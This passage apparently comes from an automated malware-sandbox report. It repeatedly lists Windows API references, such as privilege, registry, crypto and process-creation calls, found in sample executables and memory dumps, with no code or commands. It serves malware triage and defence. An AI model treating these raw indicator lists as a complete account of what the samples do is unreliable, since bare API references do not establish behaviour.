Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")3e:T14566,Found reference to API (Indicator: "CheckTokenMembership"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "DecryptFileA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FreeSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "EqualSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RegCloseKey"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FindNextFileA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FindClose"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LocalAlloc"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "lstrcmpA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CompareStringA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetLastError"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "DeleteFileA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GlobalFree"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CloseHandle"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetProcAddress"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GlobalLock"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LocalFree"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FreeLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ReadFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SizeofResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "WriteFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetFileTime"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetFilePointer"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FindResourceA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateMutexA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FreeResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetVersion"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetTempPathA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateFileA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetEvent"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "TerminateThread"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetVersionExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LockResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateThread"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ResetEvent"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LoadResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ExitProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateProcessA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FormatMessageA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CreateEventA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CharUpperA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "MessageBeep"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CharPrevA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "LoadStringA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CharNextA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "EnableWindow"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ReleaseDC"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "PeekMessageA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SendMessageA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "MessageBoxA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "ShowWindow"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetWindowPos"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetDC"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetWindowRect"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "Sleep"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "TerminateProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetTickCount"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "MulDiv"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00001224.00000000.68864.00D51000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00001224.00000000.68864.00D51000.00000020.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00002612.00000000.69571.00971000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00002612.00000000.69571.00971000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00002612.00000000.69571.00971000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "salo.exe.625901821") Found reference to API (Indicator: "GetXStateFeaturesMask"; File: "salo.exe.625901821") Found reference to API (Indicator: "GetLastActivePopup"; File: "salo.exe.625901821") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "salo.exe.625901821") Found reference to API (Indicator: "LocateXStateFeature"; File: "salo.exe.625901821") Found reference to API (Indicator: "MessageBoxW"; File: "salo.exe.625901821") Found reference to API (Indicator: "GetWindowDC"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "SendMessage"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetClassName"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "ReleaseCapture"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "InsertMenuItem"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "ClientToScreen"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetScrollInfo"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "DrawMenuBar"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "LoadCursor"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "SetCursor"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetLogicalDrives"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetCursorPos"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "BitBlt"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "WindowFromPoint"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetWindowText"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetSystemMenu"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "InsertMenu"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "FindWindow"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "DestroyWindow"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "GetDCEx"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "MessageBox"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "RegisterHotKey"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "UnregisterHotKey"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "CreateDirectory"; File: "2YP522uh.exe.1488338988") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: 